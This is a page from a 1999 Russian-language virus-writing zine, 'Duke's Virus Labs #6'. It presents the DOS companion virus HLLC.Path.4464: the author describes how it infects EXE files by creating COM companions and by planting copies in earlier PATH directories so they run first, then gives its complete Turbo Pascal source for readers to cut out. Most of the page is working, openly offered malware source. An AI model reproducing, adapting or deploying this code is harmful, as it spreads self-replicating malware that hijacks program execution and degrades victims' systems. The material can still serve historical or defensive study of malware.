- [Duke's Virus Labs #6] - [Page 11] - HLLC.Path.4464 (c) by Duke/SMF Имя вируса : HLLC.Path.4464 Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 17.04.99 Достаточно оригинальный компаньон-вирус. Поражает EXE-файлы двумя различными способами: 1) Поражение текущего каталога. Создается (если его небыло раньше) COM-файл с тем же именем, что и EXE-файл. 2) Поражение по PATH. Создается EXE-файл тоже в каталоге PATH, но указанном в переменной PATH раньше, чем поражаемый каталог. Вот этот второй способ и является оригинальным и о нем я расскажу подробнее. Почему это работает ? Потому что DOS, при поиске файлов в PATH проверяет каталоги поочередно. Найдя файл в одном из каталогов, DOS успокаивается и в остальные каталоги уже не лезет. А найден вирус ! Впоследствии вирус передает управление пораженному файлу, как без этого :) При запуске вирус создает "таблицу каталогов" PATH, которой пользуется для поиска, заражения и запуска жертв. Никакого контроля на зараженность нет - вирус будет заражать и собственные копии. Но это следует расценивать как спецэффект - каждая запущенная по цепочке копия вируса будет отнимать память и тормозить работу. ===== Cut here ===== {$M 3000, 0, 3000} program HLLC_Path; uses dos; var ds:dirstr; ns:namestr; es:extstr; fil,command:string; path:array[1..15] of string; KD:byte; {-----------------------------------------------------} procedure GetPath; var s:string; p:integer; begin s:=GetEnv('PATH'); KD:=0; while s<>'' do begin p:=pos(';',s); KD:=KD+1; if p<>0 then begin path[KD]:=copy(s,1,p-1); s:=copy(s,p+1,length(s)-p); end else path[KD]:=s; end; end; {-----------------------------------------------------} procedure Infect(n,p,r:string); var a:dirstr; b:namestr; c:extstr; k:searchrec; begin fsplit(n,a,b,c); fil:=p+b+r; findfirst(fil,$3f,k); if doserror<>0 then exec(Command,'/c '+paramstr(0)+' '+fil+'>nul'); end; {-----------------------------------------------------} procedure ScanDir(o,p,r:string); var d:searchrec; begin findfirst(o+'*.exe',$21,d); while doserror=0 do begin infect(d.name,p,r); findnext(d); end; end; {-----------------------------------------------------} procedure Common; var i,find:byte; n:searchrec; par:string; begin Command:='[HLLC.Path by Duke/SMF]'; Command:=GetEnv('COMSPEC'); GetPath; par:=''; for i:=1 to paramcount do par:=' '+paramstr(i); fsplit(paramstr(0),ds,ns,es); if es='.COM' then begin fil:=ds+ns+'.EXE'; findfirst(fil,$3f,n); if doserror=0 then exec(Command,'/c '+fil+par); end else begin find:=0; for i:=1 to KD do if ds=path[i] then find:=i; if find<>0 then begin fil:=path[find+1]+ns+es; findfirst(fil,$3f,n); if doserror=0 then exec(Command,'/c '+fil+par); end else for i:=KD to 2 do ScanDir(path[i]+'\',path[i-1]+'\','.EXE'); end; ScanDir('','','.COM'); end; {-----------------------------------------------------} begin Common; end. ===== Cut here =====